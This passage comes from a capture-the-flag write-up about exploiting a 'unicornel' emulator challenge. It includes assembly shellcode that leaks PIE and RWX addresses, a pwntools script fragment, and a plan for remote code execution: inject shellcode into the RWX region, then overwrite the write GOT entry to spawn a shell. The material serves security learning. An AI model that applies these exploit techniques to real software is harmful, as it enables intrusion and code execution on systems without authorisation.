sub r10, 0x1c2f # r10 = RWX BASE
/* Print for debugging purposes */
mov rbx, r11
mov rax, 0x2
int 0x80
mov rbx, r10
mov rax, 0x2
int 0x80
leak_pie_and_rwx_end:
password_str:
.ascii "sup3r_s3cure_sj\0"
memprot_x86_64:
.ascii "memprot_x86_64\0"
''')...io.recvuntil(b'pid 0\n')leaked_addr=int(io.recvline().strip().decode())print(f'{hex(leaked_addr)= }')pie_base=int(io.recvline().strip().decode())print(f'{hex(pie_base)= }')rwx_base=int(io.recvline().strip().decode())print(f'{hex(rwx_base)= }')io.interactive()
Above is the result of our execution. As we can see, r10 and r11 now contain the base RWX and base PIE addresses respectively (we already subtracted the leaked value with the offset to its own base in the shellcode). Now that we have both the base RWX and PIE addresses in hand, we can move to the next step, which is gaining RCE in the app.
Gain Remote Code Execution
If you run checksec on the app, you’ll see that the binary protection is actually only Partial RELRO 🙂.
This means we can simply overwrite the GOT of the app to gain RCE. To recap, up to this point, we already have:
A pointer to RWX in r10
A pointer to PIE in r11
My idea is pretty simple, inject shellcode into the RWX area, then place its address in the write GOT area. When we trigger the unicornel_write syscall (which calls write in the process), our shellcode will be executed by the host process. Here’s the high-level plan:
Create shellcode to put in the trustzone that will overwrite the RWX area. This shellcode will:
Call map_address to map the RWX area to our emulated process space
Write our shellcode into it
Create shellcode to put in the trustzone that will overwrite the GOT. This shellcode will:
Call map_address to map the GOT area to our emulated process space
Overwrite the write GOT entry with our shellcode address
Simply call the unicornel_write syscall to spawn the shell